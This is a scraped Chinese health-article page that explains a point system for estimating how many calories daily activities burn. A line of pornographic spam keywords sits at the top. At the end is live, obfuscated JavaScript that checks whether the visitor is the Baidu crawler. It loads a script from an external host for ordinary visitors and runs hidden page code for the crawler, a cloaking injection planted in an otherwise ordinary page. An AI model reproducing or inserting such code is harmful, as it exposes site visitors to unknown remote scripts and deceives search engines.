亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 健康 > 運動健身 > 正文

一天消耗多少卡路里

2017-04-16 13:09:53  來源:360常識網(wǎng)   熱度:
導語:人每天都要通過食品來補充能量,同時也會消耗一些熱量,那么這些熱量究竟是怎么消耗的呢,下面就為你介紹人們?nèi)粘I钪械囊恍┗顒觼硐臒?

人每天都要通過食品來補充能量,同時也會消耗一些熱量,那么這些熱量究竟是怎么消耗的呢,下面就為你介紹人們?nèi)粘?a href="http://www.chouju30.cn/sh/" target="_blank" class="keylink">生活中的一些活動來消耗熱量的計算方法,根據(jù)計算方法你就能清楚得知道自己一天消耗多少熱量了。一天消耗卡路里多少才合適呢,我們?yōu)榱藴p肥是不是卡路里消耗得越多效果越好呢,其實這都是不一定的額,人的胖瘦有些是有先天性的因素決定的。

睡眠:每睡一個小時記0.85分。計算一下你每天睡幾個小時,就按這個單位的乘積記分。正常人以一天8個小時睡眠時間計算,就是6.8分。

靜止活動:包括案頭工作、閱讀、吃飯、看電視、坐車等。這些活動的運動量最低,把消耗在這些活動上的時間加起來,以每小時記1.5分計算。普通人一天工作8個小時,加上吃飯坐車等4個小時靜止活動時間,按照12個小時來統(tǒng)計,得到18分。

除了吃飯睡覺工作等時間,你還有4個小時可以用來支配。

步行:如果是悠閑緩慢的散步,每小時記3分;如果是快步走,每小時記5分。

外活動:慢跑每小時記6分,快跑每小時記7分;游泳、滑冰每小時記8分;各種球類運動和田徑運動每小時記9分;騎自行車每小時記4分;做體操、跳舞每小時記3分。

如果你比較勤勞,有參與家務勞動,那么每小時記5分

每當你一天的各項活動結(jié)束后,就可以把以上的分數(shù)加起來。

如果你獲得的總分數(shù)在45分以下,說明你的運動量不夠,應設法增加活動量;

如果你的總分數(shù)在45至60分之間,就說明你的運動量正合適;

如果你的總分數(shù)超過了這個限度,只能說明你的活動量已經(jīng)過度,對身體沒有更多的益處,是調(diào)整一下運動尺度的時候了。

看完了這些你是不是對一天消耗卡路里的量就清楚了,為了讓更多的朋友知道這個好消息,希望你能動動雙手,幫忙轉(zhuǎn)發(fā)呢。不要以為卡路里消耗得越多越好,如果消耗得太多,對身體是有損傷的,適當?shù)膭悠饋碛幸嬗谀愕纳眢w健康。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}